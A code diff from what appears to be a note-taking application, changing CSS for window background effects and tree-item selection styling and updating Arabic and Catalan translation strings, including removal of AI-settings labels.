 nav.options-section-tabs {
     min-width: var(--options-card-min-width);
     max-width: var(--options-card-max-width);
@@ -331,4 +328,4 @@ nav.options-section-tabs + .options-section {
 
 .etapi-options-section div {
     height: auto !important;
-}
+}

apps/client/src/stylesheets/theme-next/shell.css

@@ -40,13 +40,30 @@ body.mobile {
 
 /* #region Mica */
 
+/* Quirk: --background-material is read before "theme-supports-background-effects" class
+ * is applied. Apply the matterial even if the theme doesn't support it. */
 body.background-effects.platform-win32 {
-    /* Quirk: --background-material is read before "theme-supports-background-effects" class
-     * is applied. Apply the matterial even if the theme doesn't support it. */
-    --background-material: tabbed;
+    &.layout-vertical {
+        --background-material: mica;
+    }
+
+    &.layout-horizontal {
+        --background-material: tabbed;
+    }
 }
 
-body.background-effects.theme-supports-background-effects.platform-win32 {
+body.background-effects.platform-darwin {
+    /** Reference: https://developer.apple.com/documentation/appkit/nsvisualeffectview?preferredLanguage=objc **/
+    &.layout-vertical {
+        --background-material: under-window;
+    }
+
+    &.layout-horizontal {
+        --background-material: hud;
+    }
+}
+
+body.background-effects.theme-supports-background-effects {
     --launcher-pane-horiz-border-color: var(--launcher-pane-horiz-border-color-bgfx);
     --launcher-pane-horiz-background-color: var(--launcher-pane-horiz-background-color-bgfx);
     --launcher-pane-vert-background-color: var(--launcher-pane-vert-background-color-bgfx);
@@ -56,33 +73,29 @@ body.background-effects.theme-supports-background-effects.platform-win32 {
     --root-background: transparent;
 }
 
-body.background-effects.platform-win32.layout-vertical {
-    --background-material: mica;
-}
-
-body.background-effects.theme-supports-background-effects.platform-win32.layout-vertical {
+body.background-effects.theme-supports-background-effects.layout-vertical {
     --left-pane-background-color: var(--window-background-color-bgfx);
     --center-pane-background-color-bgfx: var(--center-pane-vert-layout-background-color-bgfx);
     --right-pane-background-color: var(--right-pane-background-color-bgfx);
 }
 
-body.background-effects.theme-supports-background-effects.platform-win32.layout-horizontal {
+body.background-effects.theme-supports-background-effects.layout-horizontal {
     --center-pane-background-color-bgfx: var(--center-pane-horiz-layout-background-color-bgfx);
     --gutter-color: var(--left-pane-background-color);
 }
 
-body.background-effects.theme-supports-background-effects.platform-win32,
-body.background-effects.theme-supports-background-effects.platform-win32 #root-widget {
+body.background-effects.theme-supports-background-effects,
+body.background-effects.theme-supports-background-effects #root-widget {
     background: var(--window-background-color-bgfx) !important;
 }
 
-body.background-effects.theme-supports-background-effects.platform-win32.layout-horizontal #horizontal-main-container,
-body.background-effects.theme-supports-background-effects.platform-win32.layout-vertical #vertical-main-container {
+body.background-effects.theme-supports-background-effects.layout-horizontal #horizontal-main-container,
+body.background-effects.theme-supports-background-effects.layout-vertical #vertical-main-container {
     background-color: var(--root-background);
 }
 
 /* Note split with background effects */
-body.background-effects.theme-supports-background-effects.platform-win32 #center-pane .note-split.bgfx {
+body.background-effects.theme-supports-background-effects #center-pane .note-split.bgfx {
     --note-split-background-color: var(--center-pane-background-color-bgfx);
 }
 
@@ -359,10 +372,6 @@ body[dir=ltr] #launcher-container {
 .calendar-dropdown-widget .calendar-header [data-calendar-input="month"] {
     --input-background-color: transparent;
     --menu-background-color: transparent;
-
-    text-align: center;
-    font-size: 1.4em;
-    font-weight: 300;
 }
 
 .calendar-dropdown-widget .calendar-header input:not(:focus) {
@@ -412,8 +421,6 @@ body[dir=ltr] #launcher-container {
 }
 
 .calendar-dropdown-widget .calendar-week span {
-    font-size: 0.85em;
-    font-weight: 500;
     color: var(--calendar-weekday-labels-color);
 }
 
@@ -676,9 +683,10 @@ body.layout-vertical.background-effects div.quick-search .dropdown-menu {
     padding-inline-start: 12px;
 }
 
-#left-pane span.fancytree-node.fancytree-active {
+#left-pane span.fancytree-node.fancytree-active,
+#left-pane span.fancytree-node.fancytree-active:hover {
     position: relative;
-    background: transparent !important;
+    background: transparent;
     color: var(--custom-color, var(--left-pane-item-selected-color));
 }
 
@@ -691,6 +699,14 @@ body.layout-vertical.background-effects div.quick-search .dropdown-menu {
     }
 }
 
+/*
+ * .fancytree-node pseudo-elements:
+ *
+ *      - ::before: the active tree item decorator.
+ *      - ::after:  the selected tree item background. A pseudo-element is used instead of the
+ *                  element's background color, to allow alpha compositing for the hover state.
+ */
+
 #left-pane span.fancytree-node.fancytree-active::before {
     position: absolute;
     content: "";
@@ -705,6 +721,24 @@ body.layout-vertical.background-effects div.quick-search .dropdown-menu {
     z-index: -1;
 }
 
+#left-pane span.fancytree-node.fancytree-selected {
+    --left-pane-item-selected-shadow-size: 4px;
+
+    position: relative;
+    background-color: transparent;
+    border-radius: 0;
+}
+
+#left-pane span.fancytree-node.fancytree-selected::after {
+    display: block;
+    position: absolute;
+    z-index: -2;
+    content: "";
+    inset: 0;
+    background: var(--selection-background-color);
+    animation: left-pane-item-select 100ms ease-out;
+}
+
 #left-pane span.fancytree-node.protected > span.fancytree-custom-icon {
     position: relative;
     filter: unset !important;
@@ -726,39 +760,35 @@ body[dir=rtl] #left-pane span.fancytree-node.protected > span.fancytree-custom-i
     transform: translateX(-25%);
 }
 
-body.mobile .fancytree-expander::before,
-body.mobile .fancytree-title,
-body.mobile .fancytree-node > span {
-    font-size: 1rem !important;
-}
-
 @media (max-width: 991px) {
     body.mobile #mobile-sidebar-container {
         background-color: rgba(0, 0, 0, 0.5);
     }
 
-    body.mobile:not(.force-fixed-tree) #mobile-sidebar-wrapper {
+    body.mobile #mobile-sidebar-wrapper {
         border-top-right-radius: 12px;
         border-bottom-right-radius: 12px;
         border-inline-end: 1px solid var(--subtle-border-color);
     }
 }
 
-#left-pane .fancytree-expander {
+#left-pane .fancytree-expander,
+.nested-note-list-item .note-expander {
     opacity: 0.65;
     transition: opacity 150ms ease-in;
 }
 
-#left-pane .fancytree-expander:hover {
+#left-pane .fancytree-expander:hover,
+.nested-note-list-item .note-expander:hover {
     opacity: 1;
     transition: opacity 300ms ease-out;
 }
 
 #left-pane .fancytree-custom-icon {
     margin-top: 0; /* Use this to align the icon with the tree view item's caption */
+    color: var(--custom-color, var(--left-pane-icon-color));
 }
 
-
 #left-pane span.fancytree-active .fancytree-title {
     font-weight: normal;
 }
@@ -771,7 +801,8 @@ body.mobile .fancytree-node > span {
     opacity: 0.5;
 }
 
-#left-pane .tree-item-button {
+#left-pane .tree-item-button,
+#left-pane span.fancytree-node.fancytree-selected .fancytree-custom-icon {
     margin-inline-end: 6px;
     border: unset;
     border-radius: 50%;
@@ -782,7 +813,8 @@ body.mobile .fancytree-node > span {
         box-shadow 200ms ease-out;
 }
 
-#left-pane .tree-item-button:hover {
+#left-pane .tree-item-button:hover,
+#left-pane span.fancytree-node.fancytree-selected .fancytree-custom-icon:hover {
     background: var(--left-pane-item-action-button-hover-background);
     box-shadow: var(--left-pane-item-action-button-hover-shadow);
     transition:
@@ -790,10 +822,41 @@ body.mobile .fancytree-node > span {
         box-shadow 100ms ease-in;
 }
 
-#left-pane span.fancytree-node.fancytree-active .tree-item-button:hover {
+#left-pane span.fancytree-node.fancytree-active .tree-item-button:hover,
+#left-pane span.fancytree-node.fancytree-active.fancytree-selected .fancytree-custom-icon:hover {
     box-shadow: var(--left-pane-item-selected-action-button-hover-shadow);
 }
 
+/* Selected item bulk action button */
+
+@keyframes bulk-action-button-blink {
+    from {
+        opacity: 1;
+    }
+    to {
+        opacity: .3;
+    }
+}
+
+#left-pane span.fancytree-node.fancytree-selected .fancytree-custom-icon {
+    margin: 0;
+}
+
+#left-pane span.fancytree-node.fancytree-selected .fancytree-custom-icon::before {
+    border: 0;
+    font-size: .65em;
+}
+
+#left-pane span.fancytree-node.fancytree-selected:hover .fancytree-custom-icon:not(:hover)::before {
+    animation: bulk-action-button-blink 500ms linear infinite alternate;
+}
+
+#left-pane span.fancytree-node.fancytree-selected.protected .fancytree-custom-icon::after {
+    /* Protected note indicator */
+    display: none;
+}
+
+
 #context-menu-container {
     /* The context menu of the tree */
     --menu-item-icon-vert-offset: -1px;
@@ -1024,7 +1087,7 @@ body.layout-vertical.electron.platform-darwin .tab-row-container {
     height: var(--tab-height) !important;
 }
 
-.tab-row-widget > * {
+body.layout-vertical .tab-row-widget > * {
     margin-top: calc((var(--tab-bar-height) - var(--tab-height)) / 2);
 }
 
@@ -1054,7 +1117,7 @@ body.layout-horizontal .tab-row-widget-container {
     overflow: hidden;
 }
 
-body.desktop:not(.background-effects.platform-win32) #root-widget.horizontal-layout {
+body.desktop:not(.background-effects) #root-widget.horizontal-layout {
     background-color: var(--root-background) !important;
 }
 
@@ -1259,7 +1322,7 @@ body.layout-horizontal #rest-pane > .classic-toolbar-widget {
 #center-pane .note-split {
     padding-top: 2px;
     background-color: var(--note-split-background-color, var(--main-background-color));
-    transition: border-color 250ms ease-in;
+    transition: border-color 150ms ease-out;
     border: 2px solid transparent;
 }
 
@@ -1309,7 +1372,7 @@ body.mobile .note-title {
     margin-inline-start: 0;
 }
 
-.title-row {
+body.desktop .title-row {
     /* Aligns the "Create new split" button with the note menu button (the three dots button) */
     padding-inline-end: 3px;
 }

apps/client/src/stylesheets/tree.css

@@ -140,10 +140,22 @@ ul.fancytree-container {
     background-color: inherit;
 }
 
+
 .fancytree-custom-icon {
+    display: flex;
+    justify-content: center;
+    align-items: center;
+    width: 1em;
+    height: 1em;
     font-size: 1.2em;
 }
 
+/* Fallback icon */
+:where(.fancytree-custom-icon)::before {
+    content: "?";
+}
+
+/* Protected note icon badge */
 span.fancytree-node.protected > span.fancytree-custom-icon {
     filter: drop-shadow(2px 2px 2px var(--main-text-color));
 }
@@ -185,7 +197,7 @@ span.fancytree-node.fancytree-active-clone:not(.fancytree-active) .fancytree-tit
 
 span.fancytree-active {
     color: var(--active-item-text-color);
-    background-color: var(--active-item-background-color) !important;
+    background-color: var(--active-item-background-color);
     border-color: transparent; /* invisible border */
     border-radius: 5px;
 }
@@ -195,19 +207,15 @@ span.fancytree-active .fancytree-title {
     border: 0;
 }
 
-span.fancytree-selected {
-    border-color: var(--main-border-color) !important;
-    border-radius: 5px;
-}
-
-span.fancytree-selected .fancytree-title {
-    text-decoration: underline;
-    font-style: italic;
+span.fancytree-node.fancytree-selected {
+    background-color: var(--selection-background-color);
+    border-radius: 0;
 }
 
 span.fancytree-selected .fancytree-custom-icon::before {
-    content: "\eb43";
-    border: 1px solid var(--main-border-color);
+    font-family: "boxicons";
+    content: "\ef05";
+    border: 1px solid var(--main-text-color);
     border-radius: 3px;
 }
 

apps/client/src/test/setup.ts

@@ -13,8 +13,7 @@ function injectGlobals() {
     uncheckedWindow.$ = $;
     uncheckedWindow.WebSocket = () => {};
     uncheckedWindow.glob = {
-        isMainWindow: true,
-        windowId: "main"
+        isMainWindow: true
     };
 }
 

apps/client/src/translations/ar/translation.json

@@ -29,7 +29,9 @@
     "widget-render-error": {
       "title": "فشل عرض عنصر واجهة مستخدم React مخصص"
     },
-    "widget-missing-parent": "لا تحتوي الأداة المخصصة على خاصية إلزامية '{{property}}'.\n\nإذا كان من المفترض تشغيل هذا البرنامج النصي بدون عنصر واجهة مستخدم، فاستخدم '#run=frontendStartup' بدلاً من ذلك."
+    "widget-missing-parent": "لا تحتوي الأداة المخصصة على خاصية إلزامية '{{property}}'.\n\nإذا كان من المفترض تشغيل هذا البرنامج النصي بدون عنصر واجهة مستخدم، فاستخدم '#run=frontendStartup' بدلاً من ذلك.",
+    "open-script-note": "فتح ملاحظة برمجية",
+    "scripting-error": "خطأ في النص البرمجي المخصص: {{title}}"
   },
   "add_link": {
     "add_link": "أضافة رابط",
@@ -37,14 +39,19 @@
     "search_note": "البحث عن الملاحظة بالاسم",
     "link_title": "عنوان الرابط",
     "button_add_link": "اضافة رابط",
-    "help_on_links": "مساعدة حول الارتباطات التشعبية"
+    "help_on_links": "مساعدة حول الارتباطات التشعبية",
+    "link_title_mirrors": "عنوان الرابط يعكس العنوان الحالي للملاحظة",
+    "link_title_arbitrary": "يمكن تغيير عنوان الرابط حسب الرغبة"
   },
   "branch_prefix": {
     "edit_branch_prefix": "تعديل بادئة الفرع",
     "prefix": "البادئة: ",
     "save": "حفظ",
     "help_on_tree_prefix": "مساعدة حول بادئة الشجرة",
-    "branch_prefix_saved": "تم حفظ بادئة الفرع."
+    "branch_prefix_saved": "تم حفظ بادئة الفرع.",
+    "edit_branch_prefix_multiple": "تعديل البادئة لـ {{count}} من تفرعات الملاحظات",
+    "branch_prefix_saved_multiple": "تم حفظ بادئة التفرع لـ {{count}} من التفرعات.",
+    "affected_branches": "الفروع المتأثرة ({{count}}):"
   },
   "bulk_actions": {
     "bulk_actions": "اجراءات جماعية",
@@ -559,113 +566,6 @@
     "enable-smooth-scroll": "تمكين التمرير السلس",
     "enable-motion": "تمكين الانتقالات والرسوم المتحركة"
   },
-  "ai_llm": {
-    "progress": "تقدم",
-    "openai_tab": "OpenAI",
-    "actions": "أجراءات",
-    "retry": "أعد المحاولة",
-    "reprocessing_index": "جار اعادة البناء...",
-    "never": "ابدٱ",
-    "agent": {
-      "processing": "جار المعالجة...",
-      "thinking": "جار التفكير...",
-      "loading": "جار التحميل...",
-      "generating": "جار الانشاء..."
-    },
-    "name": "الذكاء الأصطناعي",
-    "openai": "OpenAI",
-    "sources": "مصادر",
-    "temperature": "درجة الحرارة",
-    "model": "نموذج",
-    "refreshing_models": "جار التحديث...",
-    "error": "خطأ",
-    "refreshing": "جار التحديث...",
-    "ollama_tab": "Ollama",
-    "anthropic_tab": "انتروبيك",
-    "not_started": "لم يبدأ بعد",
-    "title": "اعدادات AI",
-    "processed_notes": "الملاحظات المعالجة",
-    "total_notes": "الملاحظات الكلية",
-    "queued_notes": "الملاحظات في قائمة الانتظار",
-    "failed_notes": "الملاحظات الفاشلة",
-    "last_processed": "اخر معالجة",
-    "refresh_stats": "تحديث الاحصائيات",
-    "voyage_tab": "استكشاف AI",
-    "provider_precedence": "اولوية المزود",
-    "system_prompt": "موجه النظام",
-    "openai_configuration": "اعدادات OpenAI",
-    "openai_settings": "اعدادات OpenAI",
-    "api_key": "مفتاح واجهة برمجة التطبيقات",
-    "url": "عنوان URL الاساسي",
-    "default_model": "النموذج الافتراضي",
-    "base_url": "عنوان URL الأساسي",
-    "openai_url_description": "افتراضيا: https://api.openai.com/v1",
-    "anthropic_settings": "اعدادات انتروبيك",
-    "ollama_settings": "اعدادات Ollama",
-    "anthropic_configuration": "تهيئة انتروبيك",
-    "voyage_url_description": "افتراضيا: https://api.voyageai.com/v1",
-    "ollama_configuration": "تهيئة Ollama",
-    "enable_ollama": "تمكين Ollama",
-    "last_attempt": "اخر محاولة",
-    "active_providers": "المزودون النشطون",
-    "disabled_providers": "المزودون المعطلون",
-    "similarity_threshold": "عتبة التشابه",
-    "complete": "اكتمل (100%)",
-    "ai_settings": "اعدادات AI",
-    "show_thinking": "عرض التفكير",
-    "index_status": "حالة الفهرس",
-    "indexed_notes": "الملاحظات المفهرسة",
-    "indexing_stopped": "تم ايقاف الفهرسة",
-    "last_indexed": "اخر فهرسة",
-    "note_chat": "دردشة الملاحظة",
-    "start_indexing": "بدء الفهرسة",
-    "chat": {
-      "root_note_title": "دردشات AI",
-      "new_chat_title": "دردشة جديدة",
-      "create_new_ai_chat": "انشاء دردشة AI جديدة"
-    },
-    "selected_provider": "المزود المحدد",
-    "select_model": "اختر النموذج...",
-    "select_provider": "اختر المزود...",
-    "ollama_model": "نموذج Ollama",
-    "refresh_models": "تحديث النماذج",
-    "rebuild_index": "اعادة بناء الفهرس",
-    "note_title": "عنوان الملاحظة",
-    "processing": "جاري المعالجة ({{percentage}}%)",
-    "incomplete": "غير مكتمل ({{percentage}}%)",
-    "ollama_url": "عنوان URL الخاص ب Ollama",
-    "provider_configuration": "تكوين موفر AI",
-    "voyage_settings": "استكشاف اعدادات AI",
-    "enable_automatic_indexing": "تمكين الفهرسة التلقائية",
-    "index_rebuild_progress": "تقدم اعادة انشاء الفهرس",
-    "index_rebuild_complete": "اكتملت عملية تحسين الفهرس",
-    "use_enhanced_context": "استخدام السياق المحسن",
-    "enter_message": "ادخل رسالتك...",
-    "index_all_notes": "فهرسة جميع الملاحظات",
-    "indexing_in_progress": "جار فهرسة الملاحظات...",
-    "use_advanced_context": "استخدم السياق المتقدم",
-    "ai_enabled": "تمكين مميزات AI",
-    "ai_disabled": "الغاء تمكين مميزات AI",
-    "enable_ai_features": "تمكين خصائص AI/LLM",
-    "enable_ai": "تمكين خصائص AI/LLM",
-    "reprocess_index": "اعادة بناء فهرس البحث",
-    "index_rebuilding": "جار تحسين الفهرس {{percentage}}",
-    "voyage_configuration": "اعدادت Voyage AI",
-    "openai_model_description": "الامثلة: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
-    "partial": "{{ percentage }} % مكتمل",
-    "retry_queued": "تم جدولة الملاحظة لاعادة المحاولة",
-    "max_notes_per_llm_query": "اكبر عدد للملاحظات لكل استعلام",
-    "remove_provider": "احذف المزود من البحث",
-    "restore_provider": "استعادة المزود الى البحث",
-    "reprocess_index_error": "حدث خطأ اثناء اعادة بناء فهرس البحث",
-    "auto_refresh_notice": "تحديث تلقائي كل {{seconds}} ثانية",
-    "note_queued_for_retry": "الملاحظة جاهزة لاعادة المحاولة لاحقا",
-    "failed_to_retry_note": "‎فشل في اعادة محاولة معالجة المحاولة",
-    "failed_to_retry_all": "فشل في اعادة محاولة معالجة الملاحظة",
-    "error_generating_response": "‌فشل في توليد استجابة من ال AI",
-    "create_new_ai_chat": "انشاء دردشة AI جديدة",
-    "error_fetching": "فشل في استرجاع النماذج: {{error}}"
-  },
   "code_auto_read_only_size": {
     "unit": "حروف",
     "title": "الحجم التلقائي للقراءه فقط"
@@ -903,13 +803,13 @@
     "web-view": "عرض الويب",
     "mind-map": "خريطة ذهنية",
     "geo-map": "خريطة جغرافية",
-    "ai-chat": "دردشة AI",
-    "task-list": "قائمة المهام"
+    "task-list": "قائمة المهام",
+    "spreadsheet": "جدول البيانات"
   },
   "shared_switch": {
     "shared": "مشترك",
     "toggle-on-title": "مشاركة الملاحظة",
-    "toggle-off-title": "الغاء مشاركة الملاحظة"
+    "toggle-off-title": "إلغاء مشاركة الملاحظة"
   },
   "template_switch": {
     "template": "قالب"
@@ -983,6 +883,7 @@
   "electron_context_menu": {
     "cut": "قص",
     "copy": "نسخ",
+    "copy-as-markdown": "نسخ كـ Markdown",
     "paste": "لصق",
     "copy-link": "نسخ الرابط",
     "add-term-to-dictionary": "اضافة \"{{term}}\" الى القاموس",
@@ -1168,14 +1069,10 @@
     "rename_note": "اعادة تسمية الملاحظة",
     "remove_relation": "حذف العلاقة",
     "default_new_note_title": "ملاحظة جديدة",
-    "open_in_new_tab": "فتح في تبويب جديد",
     "enter_new_title": "ادخل عنوان ملاحظة جديدة:",
     "note_not_found": "الملاحظة {{noteId}} غير موجودة!",
     "cannot_match_transform": "تعذر مطابقة التحويل: {{transform}}"
   },
-  "web_view": {
-    "web_view": "عرض الويب"
-  },
   "consistency_checks": {
     "title": "فحوصات التناسق"
   },
@@ -1389,8 +1286,10 @@
     "search-for": "بحث ل \"{{term}}\""
   },
   "protect_note": {
-    "toggle-off": "ازالة الحماية عن الملاحظة",
-    "toggle-on": "حماية الملاحظة"
+    "toggle-off": "إزالة الحماية عن الملاحظة",
+    "toggle-on": "حماية الملاحظة",
+    "toggle-on-hint": "الملاحظة غير محمة، انقر لحمايتها",
+    "toggle-off-hint": "الملاحظة محمية، انقر لإزالة الحماية منها"
   },
   "open-help-page": "فتح صفحة المساعدة",
   "empty": {

apps/client/src/translations/ca/translation.json

@@ -93,7 +93,10 @@
     "digits": "dígits",
     "inheritable": "Heretable",
     "delete": "Suprimeix",
-    "color_type": "Color"
+    "color_type": "Color",
+    "textarea": "Text multi linia",
+    "date_time": "Data i hora",
+    "precision_title": "Quants dígits han d'estar disponibles per a coma flotant a la interfície de configuració."
   },
   "rename_label": {
     "to": "Per"